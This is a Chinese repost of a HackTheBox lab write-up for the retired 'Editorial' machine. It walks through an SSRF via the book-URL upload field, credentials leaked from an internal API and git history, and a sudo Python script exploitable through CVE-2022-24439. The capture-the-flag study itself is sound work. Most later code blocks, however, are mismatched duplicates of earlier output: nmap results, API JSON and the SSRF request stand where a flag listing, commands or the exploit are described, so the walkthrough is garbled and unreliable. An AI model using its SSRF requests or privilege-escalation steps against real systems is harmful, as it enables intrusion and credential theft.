简体中文(ZH-CN) English(EN) 繁体中文(ZH-TW) 日本語(JA) 한국어(KO) Melayu(MS) Français(FR) Deutsch(DE)
首页 > 后端开发 > Python教程 > 正文

HackTheBox - Writeup 社论 [已退休]

Barbara Streisand
发布： 2024-10-20 06:12:29
原创
440 人浏览过

在这篇文章中，我们将探索一个简单的 Linux 机器，称为Editorial。该机器利用了以下漏洞及利用技术：

  • 服务器端请求伪造 (SSRF)
  • 信息泄露
  • Git 技巧
  • CVE-2022-24439 - 远程代码执行 (RCE)

侦察和用户旗帜

让我们首先使用 nmap 扫描目标以查找开放端口：

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/boardlight]
└─# nmap -sS --open -Pn 10.129.115.37
Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-15 15:06 EDT
Nmap scan report for 10.129.115.37 (10.129.115.37)
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
登录后复制
登录后复制
登录后复制

我们有运行 ssh 的端口 22 和运行 http 服务器的端口 80。
通过 IP 访问端口 80，我们被重定向到 editorial.htb，让我们将此主机添加到我们的 /etc/hosts 中。

通过此我们可以访问以下内容：

HackTheBox - Writeup Editorial [Retired]

该网站是一家图书出版商。在可用选项中，我们找到以下页面：

HackTheBox - Writeup Editorial [Retired]

在这里我们可以将书籍发送给出版商。发送可以通过两种方式完成，本地上传文件或通过 url 上传。

发送文件时，我们会被重定向到与此类似的端点：

  • http://editorial.htb/static/uploads/0483497c-293d-44a4-87af-46a85f20cb60 通过访问该 URL，我们之前以 PDF 形式发送的文件将被下载。

分析这两个选项，我们在提供本地 URL 时发现 SSRF，发送以下 URL 作为负载：http://127.0.0.1:5000

这样我们就可以下载文件，并获得 json 格式的以下内容：

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/editorial]
└─# jq . requests-result/0483497c-293d-44a4-87af-46a85f20cb60
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}
登录后复制
登录后复制
登录后复制

这里我们有几个可以探索的端点，为此我们将使用 burp suite（它已经在后台运行）来发出新请求。
让我们首先关注端点/api/latest/metadata/messages/authors，它具有以下功能：检索发送给我们的新作者的欢迎消息

POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------346249403126403154753644150452
Content-Length: 401
Origin: http://editorial.htb
Connection: close
Referer: http://editorial.htb/upload

-----------------------------346249403126403154753644150452
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:5000/api/latest/metadata/messages/authors
-----------------------------346249403126403154753644150452
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------346249403126403154753644150452--
登录后复制
登录后复制
登录后复制

这样我们就有了以下回报：

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 22 Jun 2024 11:53:31 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 51

static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f
登录后复制
登录后复制

现在让我们对此端点执行 get 请求：

GET /static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://editorial.htb/upload
登录后复制
登录后复制

因此我们得到以下回报：

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 22 Jun 2024 11:53:42 GMT
Content-Type: application/octet-stream
Content-Length: 506
Connection: close
Content-Disposition: inline; filename=413c49ad-8adb-4bbb-9579-8a13e870ff5f
Last-Modified: Sat, 22 Jun 2024 11:53:31 GMT
Cache-Control: no-cache
ETag: "1719057211.219647-506-4209449183"

{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
登录后复制
登录后复制

我们再次得到了 json 格式的返回。在这里，我们有一条针对新作者的欢迎信息以及用户名和密码：
用户名： dev
密码： dev080217_devAPI!@

使用此用户名和密码，我们可以通过 ssh 访问我们的目标：

┌──(root㉿kali)-[/home/kali]
└─# ssh dev@editorial.htb
The authenticity of host 'editorial.htb (10.129.101.138)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
dev@editorial.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Jun 22 11:54:05 AM UTC 2024

  System load:           0.0
  Usage of /:            60.4% of 6.35GB
  Memory usage:          12%
  Swap usage:            0%
  Processes:             225
  Users logged in:       0
  IPv4 address for eth0: 10.129.101.138
  IPv6 address for eth0: dead:beef::250:56ff:feb0:6c4b


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$
登录后复制
登录后复制

通过这个用户，我们获得了用户标志！

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/boardlight]
└─# nmap -sS --open -Pn 10.129.115.37
Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-15 15:06 EDT
Nmap scan report for 10.129.115.37 (10.129.115.37)
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
登录后复制
登录后复制
登录后复制

权限提升和 root 标志

在用户的主目录dev中，我们有一个名为apps的目录。访问该目录我们有以下内容：

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/editorial]
└─# jq . requests-result/0483497c-293d-44a4-87af-46a85f20cb60
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}
登录后复制
登录后复制
登录后复制

只有一个名为 .git 的目录。 .git目录记录了一个项目的所有变更，记录了项目的整个历史。
这样我们就可以查看提交历史记录：

POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------346249403126403154753644150452
Content-Length: 401
Origin: http://editorial.htb
Connection: close
Referer: http://editorial.htb/upload

-----------------------------346249403126403154753644150452
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:5000/api/latest/metadata/messages/authors
-----------------------------346249403126403154753644150452
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------346249403126403154753644150452--
登录后复制
登录后复制
登录后复制

提交中有以下内容：

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 22 Jun 2024 11:53:31 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 51

static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f
登录后复制
登录后复制

从生产到开发的数据已降级，在这里我们可以找到重要信息。
要查看此提交的内容，我们将使用命令 git revert，该命令将恢复更改并将项目返回到此提交：

GET /static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://editorial.htb/upload
登录后复制
登录后复制

我们有一个名为app.py的文件，让我们查看它的内容：

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 22 Jun 2024 11:53:42 GMT
Content-Type: application/octet-stream
Content-Length: 506
Connection: close
Content-Disposition: inline; filename=413c49ad-8adb-4bbb-9579-8a13e870ff5f
Last-Modified: Sat, 22 Jun 2024 11:53:31 GMT
Cache-Control: no-cache
ETag: "1719057211.219647-506-4209449183"

{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
登录后复制
登录后复制

这里的端点与我们最初通过 SSRF 发现的端点类似。不同之处在于访问数据属于另一个用户：

用户名：产品
密码： 080217_Producti0n_2023！@

查看目标中拥有活动 shell 的用户，我们有以下用户：

┌──(root㉿kali)-[/home/kali]
└─# ssh dev@editorial.htb
The authenticity of host 'editorial.htb (10.129.101.138)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
dev@editorial.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Jun 22 11:54:05 AM UTC 2024

  System load:           0.0
  Usage of /:            60.4% of 6.35GB
  Memory usage:          12%
  Swap usage:            0%
  Processes:             225
  Users logged in:       0
  IPv4 address for eth0: 10.129.101.138
  IPv6 address for eth0: dead:beef::250:56ff:feb0:6c4b


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$
登录后复制
登录后复制

有一个名为prod的用户。我们可以使用这个新密码来使用这个用户：

dev@editorial:~$ ls -a
.  ..  apps  .bash_history  .bash_logout  .bashrc  .cache  .profile  user.txt
dev@editorial:~$ cat user.txt
389072ccb7be77e63a1590defe01750e
登录后复制

使用新用户，我们可以看到我们可以使用 sudo 运行 python 脚本，这会授予我们 root 权限：

dev@editorial:~/apps$ ls -alh
total 12K
drwxrwxr-x 3 dev dev 4.0K Jun  5 14:36 .
drwxr-x--- 4 dev dev 4.0K Jun  5 14:36 ..
drwxr-xr-x 8 dev dev 4.0K Jun  5 14:36 .git
登录后复制

该命令是执行一个接受任何参数的Python脚本，由于星号*。
我们可以预览脚本的内容，看看我们能够执行什么：

dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 21:04:21 2023 -0500

    fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 21:01:11 2023 -0500

    change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev

    * To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info

    * It (will) contains internal info about the editorial, this enable
       faster access to information.

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:48:43 2023 -0500

    feat: create editorial app

    * This contains the base of this project.
    * Also we add a feature to enable to external authors send us their
       books and validate a future post in our editorial.
登录后复制

我们没有编辑该文件的权限，只能执行。该脚本使用 Python os 和 sys 库，允许您在 Linux 上执行操作。
该脚本接受一个参数，为此使用 Python lib sys。
使用 python lib os. 中的函数 chdir 对 /opt/internal_apps/clone_changes

进行目录更改

现在使用另一个名为 git 的 Python 库，创建了一个 git init，它初始化了一个存储库。
脚本接受的参数必须是存储库，以便可以使用同一个 git lib 进行 git 克隆。

我们可以搜索这个库中的漏洞，为此我们需要通过pip（这是一个Python包管理器）获取版本：

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/boardlight]
└─# nmap -sS --open -Pn 10.129.115.37
Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-15 15:06 EDT
Nmap scan report for 10.129.115.37 (10.129.115.37)
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
登录后复制
登录后复制
登录后复制

搜索我们发现的漏洞CVE-2022-24439，这是由于用户输入验证不充分而导致的远程代码执行。
该漏洞由 Snyk 报告，并提供了 PoC。

我们可以更改 poc 以以 root 身份读取文件或提升对 root 的访问权限。

要读取文件，我们可以执行以下命令：

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/editorial]
└─# jq . requests-result/0483497c-293d-44a4-87af-46a85f20cb60
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}
登录后复制
登录后复制
登录后复制

这样我们就可以读取根标志了。

我们还可以在/bin/bash文件中添加粘性位，这样我们就可以获得root权限的shell。粘滞位允许其他用户在获得文件所有者（在本例中为 root 用户）许可的情况下使用该文件或二进制文件。添加到 /bin/bash 我们得到一个 root 的 shell：

POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------346249403126403154753644150452
Content-Length: 401
Origin: http://editorial.htb
Connection: close
Referer: http://editorial.htb/upload

-----------------------------346249403126403154753644150452
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:5000/api/latest/metadata/messages/authors
-----------------------------346249403126403154753644150452
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------346249403126403154753644150452--
登录后复制
登录后复制
登录后复制

这样我们就完成了编辑机器！

HackTheBox - Writeup Editorial [Retired]

以上是HackTheBox - Writeup 社论 [已退休]的详细内容。更多信息请关注PHP中文网其他相关文章！

来源：dev.to
上一篇：新的思维方式。 python 数据之星 下一篇：如何根据子字符串过滤列表中的字符串？
本站声明
本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系admin@php.cn
作者最新文章
最新问题
function_exists()无法判定自定义函数 function test()    {        return true;    }    if (function_exists('TEST')) {        ech...
来自于 2024-04-29 11:01:01
0
2
1626
google 浏览器 手机版显示的怎么实现 老师您好，google 浏览器怎么变成手机版样式的？
来自于 2024-04-23 00:22:19
0
10
1783
子窗口操作父窗口，输出没反应 前两句可执行，最后一句没法应
来自于 2024-04-19 15:37:47
0
1
1518
父窗口没有输出 document.onclick = function(){ window.opener.document.write('我是子窗口的输出');                  ...
来自于 2024-04-18 23:52:34
0
1
1430
关于CSS思维导图的课件在哪？ 课件
来自于 2024-04-16 10:10:18
0
0
1475
相关专题
更多>
热门推荐
热门教程
更多>
相关教程
热门推荐
最新课程
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责声明 Sitemap
PHP中文网：公益在线PHP培训，帮助PHP学习者快速成长！